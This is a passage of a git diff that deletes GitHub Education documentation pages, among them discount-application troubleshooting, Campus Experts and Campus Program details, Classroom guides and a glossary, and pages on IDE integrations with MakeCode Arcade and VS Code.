/github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved - - /articles/why-was-my-application-for-an-educator-or-researcher-discount-denied - - /articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved - - /articles/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/why-wasnt-my-application-to-global-campus-for-teachers-approved -versions: - fpt: '*' -shortTitle: Application not approved ---- - -> [!TIP] -> {% data reusables.education.about-github-education-link %} - -## Unclear proof of affiliation documents - -If the image you uploaded doesn't clearly identify your current employment with a school or university, you must reapply and upload another image of your faculty ID or employment verification letter with clear information. - -{% data reusables.education.pdf-support %} - -## Using an academic email with an unverified domain - -If your academic email address has an unverified domain, we may require further proof of your academic status. {% data reusables.education.upload-different-image %} - -{% data reusables.education.pdf-support %} - -## Using an academic email from a school with lax email policies - -If alumni and retired faculty of your school have lifetime access to school-issued email addresses, we may require further proof of your academic status. {% data reusables.education.upload-different-image %} - -{% data reusables.education.pdf-support %} - -If you have other questions or concerns about the school domain, please ask your school IT staff to contact us. - -## Non-student applying for Student Developer Pack - -Teachers are not eligible for the partner offers that come with the [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack). When you reapply, make sure that you choose **Faculty** to describe your academic status. - -## Further reading - -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher) diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md deleted file mode 100644 index e77cc60fd4b1..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Explore the benefits of teaching and learning with GitHub Education -shortTitle: Explore -intro: 'Learn how {% data variables.product.prodname_education %} can benefit your classroom, schoolwork, or research and how to apply for free access to various developer tools from {% data variables.product.company_short %}''s partners.' -redirect_from: - - /education/teach-and-learn-with-github-education - - /github/teaching-and-learning-with-github-education - - /categories/teaching-and-learning-with-github-education -versions: - fpt: '*' -children: - - /github-education-for-students - - /github-education-for-teachers - - /use-github-at-your-educational-institution ---- - diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-experts.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-experts.md deleted file mode 100644 index 447e195a4704..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-experts.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: About GitHub Campus Experts -intro: 'Enrich your college’s technical community by becoming a {% data variables.product.prodname_student_leader_program_singular %}.' -redirect_from: - - /education/teach-and-learn-with-github-education/about-campus-experts - - /github/teaching-and-learning-with-github-education/about-campus-experts - - /articles/about-campus-experts - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-experts - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts -versions: - fpt: '*' -shortTitle: GitHub Campus Experts Program ---- - -Learn the skills to build and grow diverse technology communities on campus with training, mentorship, and support from {% data variables.product.prodname_dotcom %} as part of the {% data variables.product.prodname_student_leader_program %} program. For more information on applying to the {% data variables.product.prodname_student_leader_program %}, see “[Applying to be a {% data variables.product.prodname_student_leader_program_singular %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/applying-to-be-a-github-campus-expert).” - -## About {% data variables.product.prodname_student_leader_program %} - -{% data variables.product.prodname_student_leader_program %} are student leaders that strive to build diverse and inclusive spaces to learn skills, share their experiences, and build projects together. {% data variables.product.prodname_student_leader_program %} can be found across the globe leading in-person and online conferences, meetups, and hackathons, and maintaining open-source projects. For more information on {% data variables.product.prodname_student_leader_program %}, go to [https://education.github.com/experts](https://education.github.com/experts). - -### About {% data variables.product.prodname_student_leader_program %} program training - -As local leaders, {% data variables.product.prodname_student_leader_program %} know the challenges students on their campuses face. Program training is the most significant benefit any student can get from the program. Over six weeks, you’ll analyze your community and gain leadership skills like public speaking, technical writing, and software development. At the end of your training, you’ll write a community impact proposal to serve as a guide for activities you've planned and goals you've set for your community. With the skills from your {% data variables.product.prodname_student_leader_program %} training, you can build a strong technical community, teach other students, create new opportunities for your student community, and position your institution within a global community of student leaders. - -### Contact your closest {% data variables.product.prodname_student_leader_program_singular %} - -Optionally, to learn more about the program, contact your closest {% data variables.product.prodname_student_leader_program_singular %}. - -1. Go to the “[{% data variables.product.prodname_student_leader_program %} program](https://education.github.com/students/experts)” site. -1. Click **Find a Campus Expert**. -1. In the “Contact your local Campus Expert” section, click **Contact us**. -1. Hover over the map that appears, then click {% octicon "plus" aria-label="The plus icon" %} and {% octicon "dash" aria-label="The dash icon" %} or scroll in and out to find a {% data variables.product.prodname_student_leader_program_singular %} near you. {% data variables.product.prodname_student_leader_program %} are represented on the map as flags. -1. Click a flag, then click the profile link that appears in a pop-up window. -1. On the {% data variables.product.prodname_student_leader_program_singular %}’s profile, click a social media link to contact them. - -## Further reading - -* “[Applying to be a {% data variables.product.prodname_student_leader_program_singular %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/applying-to-be-a-github-campus-expert)” diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md deleted file mode 100644 index 28c5fe93c736..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: About GitHub Campus Program -intro: '{% data variables.product.prodname_campus_program %} offers {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} free-of-charge for schools that want to make the most of {% data variables.product.prodname_dotcom %} for their community.' -redirect_from: - - /education/teach-and-learn-with-github-education/about-github-education - - /github/teaching-and-learning-with-github-education/about-github-education - - /articles/about-github-education - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors -versions: - fpt: '*' -shortTitle: GitHub Campus Program ---- -{% data variables.product.prodname_campus_program %} is a package of premium {% data variables.product.prodname_dotcom %} access for teaching-focused institutions that grant degrees, diplomas, or certificates. {% data variables.product.prodname_campus_program %} includes: - -* No-cost access to {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} for all of your technical and academic departments -* 50,000 {% data variables.product.prodname_actions %} minutes and 50 GB {% data variables.product.prodname_registry %} storage - -To read about how {% data variables.product.prodname_dotcom %} is used by educators, see [{% data variables.product.prodname_education %} stories](https://education.github.com/stories). - -## {% data variables.product.prodname_campus_program %} terms and conditions - -* The license is free for one year and will automatically renew annually. You may continue on the free license so long as you continue to operate within the terms of the agreement. Any school that grants degrees, diplomas, or certificates, and can agree to the [terms of the program](https://education.github.com/schools/terms) is welcome to join. - -* Please note that the licenses are for use by the whole school. Internal IT departments, academic research groups, collaborators, students, and other non-academic departments are eligible to use the licenses so long as they are not making a profit from its use. - -* You must offer {% data variables.product.prodname_dotcom %} to all of your technical and academic departments and your school’s logo will be shared on the GitHub Education website as a {% data variables.product.prodname_campus_program %} Partner. - -* New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact {% data variables.contact.contact_support %}. For more information about administrating your enterprise, see the [enterprise administrators documentation](/admin). - -To read more about {% data variables.product.prodname_dotcom %}'s privacy practices, see [AUTOTITLE](/site-policy/privacy-policies/github-privacy-statement). - -## {% data variables.product.prodname_campus_program %} Application Eligibility - -A school employee with authority to adopt technology for the whole school, such as a CTO/CIO, Dean, Department Chair, or Technology Officer, must sign the terms of the program on behalf of the campus. - -For more information, see the [official {% data variables.product.prodname_campus_program %}](https://education.github.com/schools) page or visit the [{% data variables.product.prodname_education %} Resource Guide](https://github.com/github-education-resources/edu-resource-guide?tab=readme-ov-file#github-education-resource-guide). - -If you're a student or academic faculty and your school isn't partnered with {% data variables.product.prodname_dotcom %} as a {% data variables.product.prodname_campus_program %} school, then you can still individually apply for discounts to use {% data variables.product.prodname_dotcom %}. To apply for the Student Developer Pack, [see the application form](https://education.github.com/pack/join). diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/applying-to-be-a-github-campus-expert.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/applying-to-be-a-github-campus-expert.md deleted file mode 100644 index f757796e8b57..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/applying-to-be-a-github-campus-expert.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Applying to be a GitHub Campus Expert -intro: 'As a student, you can apply to be a {% data variables.product.prodname_student_leader_program_singular %} to gain new skills and grow your college’s technical community.' -versions: - fpt: '*' -shortTitle: Apply to Campus Experts ---- - -## Applying to the {% data variables.product.prodname_student_leader_program %} program - -To apply to the {% data variables.product.prodname_student_leader_program %} program, you must first submit an application form, then submit a video resume. Applications to the program open in February and August, and you’ll have a full month to apply. - -> [!NOTE] -> The application process helps us get to know the applicant. Here are some things we want to learn about you: -> * Motivation: What makes you tick? What drives you? -> * Interest: Why do you want to be part of the program? -> * Growth and potential: What skills do you want to learn, and how will they help you grow personally and professionally? -> * Contribution: What impact do you want to make on your campus? - -### Eligibility criteria - -To become a {% data variables.product.prodname_student_leader_program_singular %}, you must: - -* Be a {% data variables.product.prodname_dotcom %} user for at least six months. -* Be at least 18 years of age. -* Be enrolled in a formal higher education institution. -* Have more than one year left as a student before graduating. -* Not be enrolled in the {% data variables.product.prodname_dotcom %} Campus Advisors Program. -* Validate your student status through the [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack). - -### Submitting your application form - -In the application form, we’re looking for students to tell us about the challenges their student community faces, what opportunities they want to build for their peers, and the potential they see for growth. -1. Go to [https://education.github.com/campus_experts](https://education.github.com/campus_experts). -1. To learn if applications are open, click **Become a Campus Expert** {% octicon "arrow-right" aria-label="The right arrow icon" %}. -1. If applications are open, a new page will appear titled “Your journey starts here”. To start your application, click **Apply Now**. - - Otherwise, if applications are closed, a message will appear with the dates of the next application cycle. -1. Following the prompts in the form, complete the application. -1. Click **Submit Application**. -1. Optionally, to confirm your application was submitted successfully, check the email address you provided for an email confirming your submission. -1. Two weeks after the program applications close, check for an email containing an update on your application status and instructions to submit your video resume. - -### Submitting your video resume - -In your video resume, we look forward to getting to know you as an individual. - -> [!NOTE] -> A video using your webcam and computer microphone is more than enough! We understand this process might not be accessible to all students. If you require an alternative method to make your submission, please reach out to the GitHub Education team. - -1. Open the email you received after submitting your application form. -1. Using the guidelines included in the application status email, record your video resume. -1. Once your video is ready to be submitted, click **Upload video** at the bottom of the application status email. -1. On the video submission form, add your email address and upload your video. -1. Click **Submit** at the bottom of the form to send your video in for review. - - After your video has been submitted, we’ll take about a week to review it. If the program is the right fit, you’ll be accepted and receive invitations to start the {% data variables.product.prodname_student_leader_program %} training and join an onboarding call. diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md deleted file mode 100644 index 08a345c0725d..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Use GitHub at your educational institution -intro: 'Maximize the benefits of using {% data variables.product.prodname_dotcom %} at your institution for your students, instructors, and IT staff with {% data variables.product.prodname_education %} and our various training programs for students and instructors.' -redirect_from: - - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution - - /github/teaching-and-learning-with-github-education/using-github-at-your-educational-institution - - /articles/using-github-at-your-educational-institution -versions: - fpt: '*' -children: - - /about-github-campus-program - - /about-github-campus-experts - - /applying-to-be-a-github-campus-expert -shortTitle: At your institution ---- diff --git a/content/education/guides.md b/content/education/guides.md deleted file mode 100644 index 0e427a5d2ca5..000000000000 --- a/content/education/guides.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Guides for GitHub Education -intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.github %} and software development.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' -shortTitle: Guides ---- - -## Get started with {% data variables.product.github %} - -Teachers, students, and researchers can use tools from {% data variables.product.github %} to enrich a software development curriculum and develop real-world collaboration skills. - -* [Sign up for a new {% data variables.product.prodname_dotcom %} account](/get-started/start-your-journey/creating-an-account-on-github) -* [Git and {% data variables.product.prodname_dotcom %} quickstart](/get-started/start-your-journey) -* [About {% data variables.product.prodname_global_campus %} for students](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/about-github-education-for-students) -* [Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/apply-to-github-education-as-a-teacher) -* [Apply to {% data variables.product.prodname_global_campus %} as a student](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/apply-to-github-education-as-a-student) - -## Run a software development course with {% data variables.product.company_short %} - -Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - -* [About {% data variables.product.prodname_global_campus %} for teachers](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/about-github-education-for-teachers) -* [Manage classrooms](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms) -* [About assignments](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/about-assignments) -* [Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment) -* [Create an individual assignment](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment) -* [Create a group assignment](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment) -* [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository) -* [Monitor students' progress with the assignment overview page](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/monitor-students-progress-with-the-assignment-overview-page) -* [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests) -* [Use autograding](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding) - -## Learn to develop software - -Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - -* [Git and {% data variables.product.prodname_dotcom %} learning resources](/get-started/start-your-journey/git-and-github-learning-resources) -* [{% data variables.product.prodname_global_campus %} for students](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students) -* [Try {% data variables.product.prodname_desktop %}](/desktop) -* [Try {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli) - -## Contribute to the community - -Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - -* [{% data variables.product.prodname_education_community %}]({% data variables.product.prodname_education_forum_link %}) -* [About {% data variables.product.prodname_global_campus %} for students](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/about-github-education-for-students) -* [About {% data variables.product.prodname_student_leader_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-experts) -* [Applying to be a {% data variables.product.prodname_student_leader_program_singular %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/applying-to-be-a-github-campus-expert) -* [Contribute with GitHub Community Exchange](/education/contribute-with-github-community-exchange) diff --git a/content/education/index.md b/content/education/index.md deleted file mode 100644 index 65b0b61fb283..000000000000 --- a/content/education/index.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: "{% data variables.product.prodname_education %} documentation" -shortTitle: "{% data variables.product.prodname_education %}" -intro: '{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}''s platform and community.' -introLinks: - quickstart: /education/quickstart -redirect_from: - - /education/explore-internship-projects-with-github-octernships/about-github-octernships - - /education/explore-internship-projects-with-github-octernships/applying-for-github-octernships - - /education/explore-internship-projects-with-github-octernships -featuredLinks: - startHere: - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/apply-to-github-education-as-a-student - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/apply-to-github-education-as-a-teacher - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution - guideCards: - - /get-started/start-your-journey/creating-an-account-on-github - - /get-started/start-your-journey/git-and-github-learning-resources - popular: - - /education/manage-coursework-with-github-classroom/get-started-with-github-classroom/about-github-classroom - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers - - /desktop - - /github-cli/github-cli/about-github-cli - - /education/manage-coursework-with-github-classroom/teach-with-github-classroom -changelog: - label: education -layout: product-landing -versions: - fpt: '*' -children: - - /quickstart - - /explore-the-benefits-of-teaching-and-learning-with-github-education - - /contribute-with-github-community-exchange - - /manage-coursework-with-github-classroom - - /guides ---- diff --git a/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/about-github-classroom.md b/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/about-github-classroom.md deleted file mode 100644 index c30db7a5cc95..000000000000 --- a/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/about-github-classroom.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: About GitHub Classroom -intro: 'Teachers and school administrators can use {% data variables.product.prodname_classroom %} to create virtual classrooms, make and edit assignments, automatically grade assignment submissions, and more.' -type: overview -topics: - - Fundamentals -versions: - fpt: '*' ---- - -## About {% data variables.product.prodname_classroom %} - -{% data variables.product.prodname_classroom %} is a teaching tool that lets teachers and school administrators create and manage digital classrooms and assignments. You can create assignments for individual students or groups of students, set due dates, and track assignments on your teacher dashboard. Additionally, {% data variables.product.prodname_classroom %} has many features that simplify tasks like providing feedback, grading assignments, and integrating your existing teaching tools. - -## {% data variables.product.prodname_classroom %} features - -{% data variables.product.prodname_classroom %} offers a variety of features to simplify both teaching and learning. - -### Assignment templates - -With {% data variables.product.prodname_classroom %}, you can create assignments that use template repositories with boilerplate code, documentation, and other resources that you think will be useful to your students. Assignments with template repositories create assignment repositories with starter code for your students. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository). - -### Autograding - -Through {% data variables.product.prodname_classroom %}, you can configure tests to automatically grade the work of each student every time that student pushes to their assignment repository. To learn more about autograding with {% data variables.product.prodname_classroom %}, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding). - -### Ability to connect a learning management system - -Optionally, you can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %} to import a student identifier roster for your classroom. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom). - -### Feedback pull requests - -{% data reusables.classroom.about-feedback-pull-requests %} - -### Combination with an integrated development environment (IDE) - -{% data reusables.classroom.about-ide-integration %} - -## Further reading - -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/learn-with-github-classroom) diff --git a/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md b/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md deleted file mode 100644 index 34217952e7ee..000000000000 --- a/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Glossary -intro: 'You can review explanations of terminology for {% data variables.product.prodname_classroom %}.' -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/glossary ---- -## assignment - -An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for [individual assignment](#individual-assignment) and [group assignment](#group-assignment). - ---- - -## classroom - -A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom %}. To administer a classroom, you must be an organization owner for the organization. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms). - ---- - -## {% data variables.product.prodname_classroom %} - -{% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. - ---- - -## group assignment - -{% data reusables.classroom.assignments-group-definition %} For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment). - ---- - -## identifier - -An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. - ---- - -## individual assignment - -{% data reusables.classroom.assignments-individual-definition %} For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment). - ---- - -## roster - -A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of [identifier](#identifier). For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom). - ---- - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/github-glossary) diff --git a/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md b/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md deleted file mode 100644 index f9ebf3af8371..000000000000 --- a/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Get started with GitHub Classroom -shortTitle: Get started -intro: 'Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course.' -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom - - /education/manage-coursework-with-github-classroom/get-started-with-github-classroom/basics-of-setting-up-github-classroom -children: - - /about-github-classroom - - /glossary ---- diff --git a/content/education/manage-coursework-with-github-classroom/index.md b/content/education/manage-coursework-with-github-classroom/index.md deleted file mode 100644 index c48d78d00b9c..000000000000 --- a/content/education/manage-coursework-with-github-classroom/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Manage coursework with GitHub Classroom -shortTitle: '{% data variables.product.prodname_classroom %}' -intro: 'With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.github %} to administer or participate in a course about software development.' -versions: - fpt: '*' -children: - - /get-started-with-github-classroom - - /teach-with-github-classroom - - /integrate-github-classroom-with-an-ide - - /learn-with-github-classroom ---- - diff --git a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md b/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md deleted file mode 100644 index b5c66d3c4a23..000000000000 --- a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: About using MakeCode Arcade with GitHub Classroom -shortTitle: About using MakeCode Arcade -intro: 'You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}.' -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/student-experience-makecode - - /education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom ---- -## About MakeCode Arcade - -MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about IDEs and {% data variables.product.prodname_classroom %}, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide). - -{% data reusables.classroom.readme-contains-button-for-online-ide %} - -The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.github %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. - -For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. - -MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.github %} features like branches and pull requests. - -## About submission of assignments with MakeCode Arcade - -By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.location.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.location.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen. - -![Screenshot of the MakeCode Arcade window. At the bottom of the window, a button is labelled with the Octocat logo and an upwards-facing arrow.](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes) diff --git a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md b/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md deleted file mode 100644 index d72e3299d298..000000000000 --- a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: About using Visual Studio Code with GitHub Classroom -shortTitle: About using Visual Studio Code -intro: 'You can configure {% data variables.product.prodname_vscode %} as the preferred editor for assignments in {% data variables.product.prodname_classroom %}.' -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/about-using-vs-code-with-github-classroom ---- - -> [!NOTE] -> The [{% data variables.product.prodname_classroom %} extension for {% data variables.product.prodname_vscode_shortname %}](https://aka.ms/classroom-vscode-ext) is no longer in active development. The **Open in {% data variables.product.prodname_vscode_shortname %}** badge in student repositories still works, but other features of the extension may not function as expected. - -## About {% data variables.product.prodname_vscode %} - -{% data variables.product.prodname_vscode %} is a lightweight but powerful source code editor which runs on your desktop and is available for Windows, macOS and Linux. With the [{% data variables.product.prodname_classroom %} extension for {% data variables.product.prodname_vscode_shortname %}](https://aka.ms/classroom-vscode-ext), students can easily browse, edit, submit, collaborate, and test their Classroom Assignments. For more information about IDEs and {% data variables.product.prodname_classroom %}, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide). - -### Your student's editor of choice - -The {% data variables.product.prodname_classroom %} integration with {% data variables.product.prodname_vscode_shortname %} provides students with an extension pack which contains: - -1. [{% data variables.product.prodname_classroom %} Extension](https://aka.ms/classroom-vscode-ext) with custom abstractions that make it easy for students to navigate getting started. -1. [Visual Studio Live Share Extension](https://marketplace.visualstudio.com/items?itemName=MS-vsliveshare.vsliveshare) integrating into a student view for easy access to teaching assistants and classmates for help and collaboration. -1. [{% data variables.product.prodname_dotcom %} Pull Request Extension](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github) allowing students to see feedback from their instructors within the editor. - -### How to launch the assignment in {% data variables.product.prodname_vscode_shortname %} - -When creating an assignment, {% data variables.product.prodname_vscode_shortname %} can be added as the preferred editor for an assignment. For more details, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide). - -This will include an "Open in {% data variables.product.prodname_vscode_shortname %}" badge in all student repositories. This badge handles installing {% data variables.product.prodname_vscode_shortname %}, the Classroom extension pack, and opening to the active assignment with one click. - -> [!NOTE] -> The student must have Git installed on their computer to push code from {% data variables.product.prodname_vscode_shortname %} to their repository. This is not automatically installed when clicking the **Open in {% data variables.product.prodname_vscode_shortname %}** button. The student can download Git from [Git download](https://git-scm.com/downloads). - -### How to use {% data variables.product.prodname_classroom %} extension pack - -The {% data variables.product.prodname_classroom %} extension has two major components: the 'Classrooms' view and the 'Active Assignment' view. - -When the student launches the extension for the first time, they are automatically navigated to the Explorer tab in {% data variables.product.prodname_vscode_shortname %}, where they can see the "Active Assignment" view alongside the tree-view of files in the repository. - -The student can push their commits to the latest version of remote, by clicking the **sync changes** button, displayed when hovering over the "Active Assignment" line. This abstracts away source control with Git, allowing instructors to teach Git at their own pace. -Syncing changes also triggers "Tests" to run if a teacher has configured autograding for their assignment. - -The "Group" node under "Active Assignment" will show members of a group, if the assignment is a group project. It will also show the admin members of the repository who can help 